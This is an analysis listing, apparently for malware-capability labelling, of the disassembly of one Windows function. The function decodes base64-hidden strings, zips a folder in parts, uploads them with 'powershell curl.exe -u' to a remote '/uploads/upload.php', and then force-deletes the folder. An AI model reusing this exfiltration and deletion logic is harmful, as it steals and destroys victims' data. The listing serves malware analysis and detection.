Function at 0x402282
Capabilities:
Contain obfuscated stackstrings
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x998
lea eax, [ebp - 0x88]
mov dword [esp + 4], eax
mov dword [esp], str.d2luX2Y2NF96emdjd2FsbGV0LmJhdA
call sym._base64_decode
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1b8]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxUZW1w
call sym._base64_decode
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x1bc]
mov dword [esp + 4], eax
mov dword [esp], 0x425020
call sym._base64_decode
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x44c540
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42912c
lea eax, [ebp - 0x1b4]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x429350
lea eax, [ebp - 0x1b4]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0
cmp dword [ebp - 0x28], 0
je 0x40233d
lea eax, [ebp - 0x1b4]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x258], 0x4293f8
mov eax, dword [ebp - 0x258]
mov dword [esp], eax
call sym._strlen
mov ecx, eax
mov eax, 4
mov edx, 0
div ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xc], 0
jmp 0x4023b8
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x258]
mov dword [esp], eax
call sym._ping_1
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4023b4
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x258]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x429406
lea eax, [ebp - 0x252]
mov dword [esp], eax
call sym._sprintf
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xc]
jae 0x40236f
mov dword [esp + 4], 0x429409
lea eax, [ebp - 0x252]
mov dword [esp], eax
call sym._get_http_headers
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x4023e9
mov eax, 1
jmp 0x402831
mov dword [ebp - 0x262], 0x6f6d6962
mov dword [ebp - 0x25e], 0x6c68746e
mov word [ebp - 0x25a], 0x79
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
lea eax, [ebp - 0x262]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x40242e
mov eax, 1
jmp 0x402831
lea eax, [ebp - 0x268]
mov dword [esp + 4], eax
mov dword [esp], str.Y2EyMnVwZGF0ZS5tZA
call sym._base64_decode
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x26c]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxQYWNrYWdlc1xNaWNyb3NvZnQuV2luZG93cy5RdWlja3N0YXJ0X24xeWVjdzV3eWgydHg
call sym._base64_decode
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x44c460
mov eax, dword [ebp - 0x38]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov dword [esp], 0x44c540
call sym._check_curl
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x4024c3
mov dword [esp], 0x4291db
call sym._puts
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov dword [esp], 0x42940b
call sym._run_keygen
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x4024d7
jmp 0x4024cd
mov eax, 1
jmp 0x402831
mov eax, 1
jmp 0x402831
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._base64_encode
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x40250a
mov eax, 1
jmp 0x402831
mov dword [ebp - 0x10], 0
jmp 0x40252f
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x28a]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 6
jbe 0x402513
mov byte [ebp - 0x283], 0
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._SHA256
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x40255a
mov eax, 1
jmp 0x402831
mov dword [ebp - 0x14], 0
jmp 0x40257f
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x2a8]
mov edx, dword [ebp - 0x14]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 6
jbe 0x402563
mov byte [ebp - 0x2a1], 0
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._free
mov dword [esp], 0x44c260
call sym._get_files_in_folder
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x4025c1
mov eax, 1
jmp 0x402831
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x44c540
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_scurl.exe
lea eax, [ebp - 0x370]
mov dword [esp], eax
call sym._sprintf
call sym._get_uid
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x402605
mov eax, 1
jmp 0x402831
mov dword [ebp - 0x18], 1
jmp 0x402798
cmp dword [ebp - 0x54], 1
jne 0x402645
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x44c260
mov dword [esp + 4], str._s_s.zip
lea eax, [ebp - 0x830]
mov dword [esp], eax
call sym._sprintf
jmp 0x402671
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x44c260
mov dword [esp + 4], str._s_s.zip.part_d
lea eax, [ebp - 0x830]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.zip.part_d
lea eax, [ebp - 0x63c]
mov dword [esp], eax
call sym._sprintf
mov dword [ebp - 0x68], str.cG93ZXJzaGVsbCBjdXJsLmV4ZSAtdQ
lea eax, [ebp - 0x440]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x70], str.aHR0cHM6Ly8
lea eax, [ebp - 0x444]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x70]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], str.L3VwbG9hZHMvdXBsb2FkLnBocA
lea eax, [ebp - 0x448]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x78]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
mov dword [esp + 0x20], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x830]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x2a8]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x28a]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s:_s__F__file__s___s_s_s
lea eax, [ebp - 0x95c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x95c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jne 0x402767
mov dword [esp], str.SUCCESS
call sym._puts
jmp 0x402788
mov dword [esp], str.FAIL
call sym._puts
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._free
mov eax, 1
jmp 0x402831
mov dword [esp], 0xa
call dbg.sleep
add dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x18]
jae 0x402611
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x5c], str.cG93ZXJzaGVsbCBSZW1vdmUtSXRlbSAtTGl0ZXJhbFBhdGg
lea eax, [ebp - 0x374]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x60], eax
mov dword [esp + 0xc], 0x44c260
mov eax, dword [ebp - 0x60]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s__Force__Recurse
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x43c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
je 0x40282c
mov dword [esp], 0x429125
call sym._puts
mov eax, 0
leave
ret